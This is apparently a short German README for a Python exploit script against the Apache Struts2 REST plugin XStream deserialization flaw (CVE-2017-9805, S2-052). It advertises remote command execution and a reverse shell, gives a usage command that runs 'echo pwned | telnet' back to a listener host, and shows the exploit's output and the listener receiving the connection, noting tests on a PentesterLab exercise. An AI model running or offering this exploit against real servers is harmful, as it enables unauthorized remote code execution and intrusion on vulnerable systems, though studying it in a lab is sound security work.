
Python-Exploit-Skript für Apache Struts2 REST Plugin XStream RCE (CVE-2017-9805), das Remote-Befehlsausführung und Reverse Shell auf anfälligen Struts2-Systemen ermöglicht.
Ressourcen: * https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9805
Ein Python-Exploit-Skript, das in der Lage ist, entfernte Befehle in der Shell eines Systems auszuführen, das ein für S2-052 anfälliges Struts2 hostet.
python s2-052.py --target 'http://192.168.0.233/orders/3' --command "echo pwned | telnet 192.168.0.122 1234"
[*] Apache Struts XStream REST vulnerability - S2-052
[*] Creating payload ...
[*] Exploit packet has 2582 bytes.
[*] Sending exploit packet ...
[+] Exploit packet has been sent.
listening on [any] 1234 ...
connect to [192.168.0.122] from vulnerable.lan [192.168.0.233] 55791
pwned
Getestet auf der verwundbaren Maschine von Pentesterlab der Übung s2-052.